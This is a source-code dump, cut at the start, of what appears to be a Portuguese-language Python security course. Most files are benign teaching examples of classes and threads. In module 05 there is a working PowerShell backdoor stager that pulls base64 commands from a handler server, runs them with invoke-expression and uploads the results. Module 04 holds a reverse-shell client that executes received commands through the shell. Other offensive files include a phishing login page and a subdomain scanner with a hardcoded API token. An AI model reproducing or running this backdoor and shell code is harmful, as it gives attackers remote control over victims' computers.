"thread 2"), 23 | ExampleThread(5, "thread 3")] 24 | 25 | for thread in lista: 26 | q.put(thread) 27 | while not q.empty(): 28 | thread = q.get() 29 | thread.start() 30 | while(thread.status): 31 | pass -------------------------------------------------------------------------------- /modulo 02/Threads/queue_simple.py: -------------------------------------------------------------------------------- 1 | from threading import Thread 2 | import time 3 | import queue 4 | 5 | class ExampleThread(Thread): 6 | def __init__ (self, num, name): 7 | Thread.__init__(self) 8 | self.num = num 9 | self.name = name 10 | self.status = True 11 | 12 | def run(self): 13 | for i in range(3): 14 | time.sleep(0.1) 15 | print(self.name+ " count: " + str(i + self.num)+ "\n") 16 | print(self.name + " concluida!") 17 | self.status = False 18 | 19 | q = queue.Queue() 20 | 21 | lista = [ExampleThread(5, "thread 1"), ExampleThread(5, "thread 2"), 22 | ExampleThread(5, "thread 3")] 23 | 24 | for thread in lista: 25 | q.put(thread) 26 | 27 | while not q.empty(): 28 | thread = q.get() 29 | thread.start() 30 | while(thread.status): 31 | pass 32 | -------------------------------------------------------------------------------- /modulo 05/ps_backdoor/payloads/base.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | class BasePayload(object): 5 | _name = "Default" 6 | _code = None 7 | _activated = False 8 | _conf = None 9 | _stager_path = "" 10 | 11 | def setHandler(self, IP, PORT): 12 | d = dict() 13 | d['SERVER'] = IP 14 | d['PORT'] = PORT 15 | self.setCode(d) 16 | 17 | def setActivated(self, status): 18 | self._activated = status 19 | 20 | def getActivated(self): 21 | return self._activated 22 | 23 | def readStager(self): 24 | with open(self._stager_path, 'r') as my_stage: 25 | return my_stage.read() 26 | 27 | def setCode(self, d=dict): 28 | self._code = self.readStager() 29 | self._code = self._code.format(**d) 30 | 31 | def getCode(self): 32 | return self._code -------------------------------------------------------------------------------- /modulo 05/ps_backdoor/stagers/basic.ps1: -------------------------------------------------------------------------------- 1 | function getUser() {{ 2 | $string = ([System.Security.Principal.WindowsIdentity]::GetCurrent().Name) | Out-String 3 | $string = $string.Trim() 4 | return $string 5 | }} 6 | function getComputerName() {{ 7 | $string = (Get-WmiObject Win32_OperatingSystem).CSName | Out-String 8 | $string = $string.Trim() 9 | return $string 10 | }} 11 | $resp = "http://{SERVER}:{PORT}/rat" 12 | $w = New-Object Net.WebClient 13 | while($true) 14 | {{ 15 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}} 16 | $r_get = $w.DownloadString($resp) 17 | $d = [System.Convert]::FromBase64String($r_get); 18 | $Ds = [System.Text.Encoding]::UTF8.GetString($d); 19 | while($r_get) {{ 20 | $output = invoke-expression $Ds | out-string 21 | $w.UploadString($resp, $output) 22 | break 23 | }} 24 | }} -------------------------------------------------------------------------------- /modulo 05/sniffer_tools/config/config.py: -------------------------------------------------------------------------------- 1 | from configobj import ConfigObj 2 | 3 | 4 | class Settings(object): 5 | def __init__(self): 6 | self.conf = ConfigObj('config/config.ini') 7 | 8 | 9 | def getValue(self, key): 10 | try: 11 | return self.conf[key] 12 | except KeyError: 13 | return None 14 | 15 | def setValue(self, key, value): 16 | self.conf[key] = value 17 | self.conf.write() 18 | 19 | def getPluginStatus(self, plugin_name): 20 | try: 21 | return self.conf["plugin"].as_bool(plugin_name) 22 | except KeyError: 23 | return None 24 | 25 | def getAllPlugins(self): 26 | return self.conf['plugin'].keys() 27 | 28 | def setPluginStatus(self, plguin_name, status): 29 | self.conf['plugin'][plguin_name] = status 30 | self.conf.write() -------------------------------------------------------------------------------- /modulo 01/class.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | class Veiculo: 4 | __rodas = 4 5 | __conbustivel = 0 6 | __velocidade = 10 7 | 8 | def __init__(self, teste=40): 9 | print("instanciando a class ") 10 | self.__teste = teste 11 | 12 | @staticmethod 13 | def VerifcarVeiculo(): 14 | print("verifacando veiculo") 15 | 16 | def getTeste(self): 17 | return self.__teste 18 | 19 | def getRodas(self): 20 | return self.__rodas 21 | 22 | def setRodas(self, novo_valor): 23 | self.__rodas = novo_valor 24 | 25 | def getVelocidade(self): 26 | return self.__velocidade 27 | 28 | def mostrarVelocidade(self): 29 | print(self.getVelocidade()) 30 | 31 | def mostrarRodas(self): 32 | print(self.getRodas()) 33 | 34 | Veiculo().VerifcarVeiculo() 35 | carro = Veiculo(50) 36 | carro.setRodas(6) 37 | carro.mostrarVelocidade() 38 | carro.mostrarRodas() 39 | -------------------------------------------------------------------------------- /modulo 02/multiprocess/application/multi_modules.py: -------------------------------------------------------------------------------- 1 | from multiprocessing import Process, Queue, current_process 2 | import time, os 3 | 4 | class ModulesBase(object): 5 | def __init__(self,name): 6 | self.name = name 7 | 8 | def run(self): 9 | print("ProcID: {}".format(os.getpid())) 10 | proc_name = current_process().name 11 | time.sleep(3) 12 | print("Process: {} Process Name: {}".format(proc_name, self.name)) 13 | print("running exploit...") 14 | 15 | def worker(q): 16 | while (not q.empty()): 17 | obj = q.get() 18 | obj.run() 19 | 20 | 21 | if __name__ == '__main__': 22 | queue = Queue() 23 | 24 | 25 | p = Process(target=worker, args=(queue, )) 26 | p.start() 27 | 28 | queue.put(ModulesBase("Modulo base 1")) 29 | queue.put(ModulesBase("Modulo base 2")) 30 | 31 | queue.close() 32 | queue.join_thread() 33 | p.join() -------------------------------------------------------------------------------- /modulo 01/figura.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | class Figura: 4 | 5 | def __int__(self): 6 | self.__color = "" 7 | self.__nome = "" 8 | 9 | def getNome(self): 10 | return self.__nome 11 | 12 | 13 | def setNome(self, nome): 14 | self.__nome = nome 15 | 16 | def Area(self): 17 | pass 18 | 19 | def getCor(self): 20 | return self.__color 21 | 22 | def setCor(self, color): 23 | self.__color = color 24 | 25 | 26 | class Quadrado(Figura): 27 | __lado = 3 28 | 29 | def getLado(self): 30 | return self.__lado 31 | 32 | 33 | 34 | def Area(self): 35 | return self.getLado() * self.getLado() 36 | 37 | 38 | class Circulo(Figura): 39 | __raio = 3 40 | 41 | def getRaio(self): 42 | return self.__raio 43 | 44 | def Area(self): 45 | return self.getRaio() * self.getRaio() * 3.14 46 | 47 | 48 | qua = Quadrado() 49 | qua.setNome("Quadrado") 50 | cir = Circulo() 51 | cir.setNome("Circulo") 52 | 53 | lista_de_figuras = [qua, cir] 54 | 55 | for figura in lista_de_figuras: 56 | print(figura.getNome() + " area: " + str(figura.Area())) -------------------------------------------------------------------------------- /modulo 01/exemplo_herança_multipla.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | class FuncionarioAMD: 5 | 6 | def __init__(self): 7 | self.__salario = 2000 8 | self.__cargo = "Funcionario" 9 | self.__bonus = 400 10 | 11 | def getSalario(self): 12 | return self.__salario + self.getBonus() 13 | 14 | def getBonus(self): 15 | return self.__bonus 16 | 17 | def setBonus(self, bonus): 18 | self.__bonus = bonus 19 | 20 | def setSalario(self, valor): 21 | self.__salario = valor 22 | 23 | class Funcionario: 24 | 25 | def __init__(self): 26 | self.__salario = 2000 27 | self.__cargo = "Funcionario" 28 | 29 | def getSalario(self): 30 | return self.__salario 31 | 32 | def setSalario(self, valor): 33 | self.__salario = valor 34 | 35 | 36 | class Gerente(FuncionarioAMD, Funcionario): 37 | pass 38 | 39 | class Secretaria(Funcionario): 40 | pass 41 | 42 | 43 | class Telefonista(Funcionario): 44 | pass 45 | 46 | 47 | marcos = Gerente() 48 | gabi = Secretaria() 49 | print("Salario de Marcos: " + str(marcos.getSalario())) 50 | print("Salario de Gabi: " + str(gabi.getSalario())) -------------------------------------------------------------------------------- /modulo 02/Threads/simples_thread2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import threading 4 | import time 5 | 6 | class myThread (threading.Thread): 7 | def __init__(self, threadID, name, counter): 8 | threading.Thread.__init__(self) 9 | self.threadID = threadID 10 | self.name = name 11 | self.counter = counter 12 | def run(self): 13 | print ("Starting " + self.name) 14 | # Get lock to synchronize threads 15 | threadLock.acquire() 16 | print_time(self.name, self.counter, 3) 17 | # Free lock to release next thread 18 | threadLock.release() 19 | 20 | def print_time(threadName, delay, counter): 21 | while counter: 22 | time.sleep(delay) 23 | print ("%s: %s" % (threadName, time.ctime(time.time()))) 24 | counter -= 1 25 | 26 | threadLock = threading.Lock() 27 | threads = [] 28 | 29 | 30 | # Create new threads 31 | thread1 = myThread(1, "Thread-1", 1) 32 | thread2 = myThread(2, "Thread-2", 2) 33 | 34 | # Start new Threads 35 | thread1.start() 36 | thread2.start() 37 | 38 | # Add threads to thread list 39 | threads.append(thread1) 40 | threads.append(thread2) 41 | 42 | # Wait for all threads to complete 43 | for t in threads: 44 | t.join() 45 | print ("Exiting Main Thread") -------------------------------------------------------------------------------- /modulo 04/cliente.py: -------------------------------------------------------------------------------- 1 | from socket import AF_INET, socket, SOCK_STREAM 2 | from threading import Thread 3 | from subprocess import PIPE, Popen 4 | from time import sleep 5 | 6 | 7 | 8 | HOST = 'localhost' 9 | PORT = 3000 10 | 11 | BUFSIZE = 1024 12 | ADDR = (HOST, PORT) 13 | 14 | client_socket = socket(AF_INET, SOCK_STREAM) 15 | 16 | 17 | def connect(): 18 | try: 19 | client_socket.connect(ADDR) 20 | print('[*] conectado...') 21 | except Exception as e: 22 | print(e) 23 | return 24 | conexao() 25 | 26 | 27 | def conexao(): 28 | global client_socket 29 | while True: 30 | try: 31 | comando = client_socket.recv(BUFSIZE).decode('utf8') 32 | 33 | proc = Popen(comando, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) 34 | saida_comando = proc.stdout.read() + proc.stderr.read() 35 | client_socket.send(saida_comando) 36 | except Exception as e: 37 | print(e) 38 | break 39 | 40 | print('servidor descontectado!') 41 | client_socket.close() 42 | client_socket = socket(AF_INET, SOCK_STREAM) 43 | 44 | 45 | def main(): 46 | while True: 47 | print('tentando conectar ao servidor!') 48 | connect() 49 | sleep(2) 50 | 51 | 52 | main() -------------------------------------------------------------------------------- /modulo 05/subdomains_scanner/core/session/base.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | class SessionBaseModel(object): 4 | def __init__(self, url_parser, token, domain, verbose=True): 5 | self.init_session() 6 | self.timeout = 25 7 | self.token = token 8 | self.domain = domain 9 | self.url_parser = url_parser 10 | self.verbose = verbose 11 | 12 | def init_session(self): 13 | self.session = requests.Session() 14 | self.headers = { 15 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36', 16 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 17 | 'Accept-Language': 'en-US,en;q=0.8', 18 | 'Accept-Encoding': 'gzip'} 19 | 20 | 21 | def send_request(self, data): 22 | url = self.url_parser.format(**data) 23 | try: 24 | resp = self.session.get(url , headers=self.headers, timeout= self.timeout) 25 | except Exception: 26 | resp = None 27 | return self.get_response(resp) 28 | 29 | def get_response(self, response): 30 | if response is None: 31 | return 0 32 | return response.json() 33 | -------------------------------------------------------------------------------- /modulo 05/subdomains_scanner/main.py: -------------------------------------------------------------------------------- 1 | from modules import * 2 | import multiprocessing 3 | from core.runtimes.thread import enumratorBaseThreaded 4 | import argparse 5 | from colorama import Fore, Back, Style 6 | 7 | 8 | def banner(): 9 | return Fore.RED + 'SpyseTools' 10 | 11 | version = "v1.0" 12 | 13 | if (__name__ == "__main__"): 14 | parser = argparse.ArgumentParser(description="SpyseTool - moduled scanner from API Spyse") 15 | parser.add_argument('-t','--token', dest='token', help='set your api_token service', 16 | default='rAaHZ_M_cSF-rq8r2xYHNtok4Y9tZEN9', required=True) 17 | parser.add_argument('-d','--domain', dest='domain', help='set target doamin ', required=True) 18 | parser.add_argument('-v','--version', dest='version', help='show version the tool') 19 | parser_load = parser.parse_args() 20 | 21 | modules = {} 22 | list_modules = enumratorBaseThreaded.__subclasses__() 23 | for m in list_modules: 24 | modules[m.getEngineName()] = m 25 | 26 | subdomains_queue = multiprocessing.Manager().list() 27 | 28 | 29 | domain = parser_load.domain 30 | token = parser_load.token 31 | thread = modules["Spyse"](domain, token, q=subdomains_queue, verbose=True) 32 | thread.start() 33 | thread.join() 34 | print(subdomains_queue) -------------------------------------------------------------------------------- /modulo 02/Threads/thread_pratica.py: -------------------------------------------------------------------------------- 1 | 2 | import threading, time, Queue 3 | class ThreadTarde(threading.Thread): 4 | def __init__(self, queue, max_time): 5 | threading.Thread.__init__(self) 6 | self.count = None 7 | self.max = max_time 8 | self.q = queue 9 | 10 | def run(self): 11 | while (not self.count): 12 | while not self.q.empty(): 13 | self.count = self.q.get() 14 | break 15 | 16 | print("[*] Iniciando Trabalho do segundo turno.") 17 | print("[*] Objetivo: " + str(self.count) + "/"+ str(self.max)) 18 | for i in range(self.count, self.max +1): 19 | time.sleep(3) 20 | print("Thread Tarde: working count: " + str(i)) 21 | print("[*] Trabalho concluido! ") 22 | 23 | class ThreadManha(threading.Thread): 24 | def __init__(self, queue, max_time): 25 | threading.Thread.__init__(self) 26 | self.count = None 27 | self.max = max_time/2 28 | self.q = queue 29 | 30 | def run(self): 31 | self.count = 0 32 | print("[*] Iniciando Trabalho do primeiro turno.") 33 | print("[*] Objetivo: " + str(self.count) + "/"+ str(self.max)) 34 | for i in range(self.count, self.max): 35 | time.sleep(3) 36 | print("Thread Manha: working count: " + str(i)) 37 | self.q.put(self.max) 38 | 39 | q = Queue.Queue() 40 | 41 | thread_1 = ThreadManha(q, 10) 42 | thread_2 = ThreadTarde(q,10) 43 | 44 | thread_1.start() 45 | thread_2.start() 46 | 47 | -------------------------------------------------------------------------------- /modulo 05/phishing/web/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 |22 | Test with a dummy username and password. 23 | 24 |
25 | This demo contains a login form on a non-HTTPS page. 26 | Even though the form is being submitted to a secure (HTTPS) page, 27 | your login info can be easily stolen. 28 |
29 | More info at stealmylogin.com 30 |
